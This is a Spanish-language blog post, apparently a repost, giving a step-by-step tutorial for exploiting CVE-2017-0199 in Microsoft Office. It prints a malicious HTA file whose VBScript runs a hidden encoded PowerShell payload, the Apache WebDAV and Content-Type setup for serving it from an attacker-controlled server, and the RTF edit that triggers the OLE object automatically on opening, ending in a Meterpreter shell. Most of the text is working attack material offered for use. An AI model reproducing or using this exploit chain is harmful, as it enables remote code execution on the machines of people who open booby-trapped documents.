Explotación práctica de CVE-2017-0199 (Windows RTF RCE)

Red teams, juakers y demás fauna están enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a través de dominios internos, literalmente están lloviendo shells…

Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.

Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE

Echémosle un vistazo a cómo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="hxxp://www.w3.org/1999/xhtml">

  <head>

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>Bonjour
    </title>

    <script language="VBScript">
      Set owFrClN0giJ = CreateObject("Wscript.Shell")
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
      End If

    </script>
    <hta:application

                     id="oHTA"
                     applicationname="Bonjour"
                     application="yes"
                     >

    </hta:application>
  </head>
  <div>

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">

    </object>
  </div>  
  <body>
  </body>
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase “This is my official and legit content”)

Llámalo "ms.rtf"

Paso 3

Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html

Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
 a2enmod dav  
 a2enmod dav_fs
 a2enmod dav_lock
 a2enmod headers
 service apache2 restart

Luego las siguientes directivas:

- Añadir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petición PROPFIND realizada por Microsoft Office

Modifica virtualhost e incluye:
 <Directory /var/www/html/ms/> 
 Header set Content-Type "application/rtf"
 </Directory>
 <Directory />
 Dav on
 </Directory>

service apache2 restart

Paso 4

Crea un simple documento RTF con Winword "exploit.rtf" ¡Ese será el exploit!

Insertar -> Objeto


Después de hacer clic en Aceptar, verás el contenido del archivo "ms.rtf" con el texto,

Guarda el archivo como "exploit.rtf"



En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...

Paso 5

El siguiente paso será:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviará un tipo de contenido "application/hta" ... esto será interpretado por el cliente Winword que ejecutará mshta para manejar este tipo de contenido y ejecutar el payload

 cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  

 vi /etc/apache2/sites-enables/000-default

 Cambia -> application/rtf a application/hta

 como:

 <Directory /var/www/html/ms/>
 Header set Content-Type "application/hta"
 </Directory>

 service apache2 restart

Paso 6

En este paso, si el usuario abre el archivo "exploit.rtf", tendrá que hacer doble clic en el objeto del enlace para lanzar el ataque ...

Si queremos que el objeto OLE se cargue automáticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:

\object\objautlink\rsltpict\objw9073\objh509(\*\
a
\object\objautlink\objupdate\rsltpict……………………..

En este paso se construye el exploit.

Explotación:

Una vez que el usuario abre el documento el objeto OLE se actualiza a través del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el código!

Ya tenemos Meterpreter


No nos importa la advertencia ya que el código ya se ha ejecutado ...


Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/

Via: www.hackplayers.com
Explotación práctica de CVE-2017-0199 (Windows RTF RCE) Explotación práctica de CVE-2017-0199 (Windows RTF RCE) Reviewed by Zion3R on 20:21 Rating: 5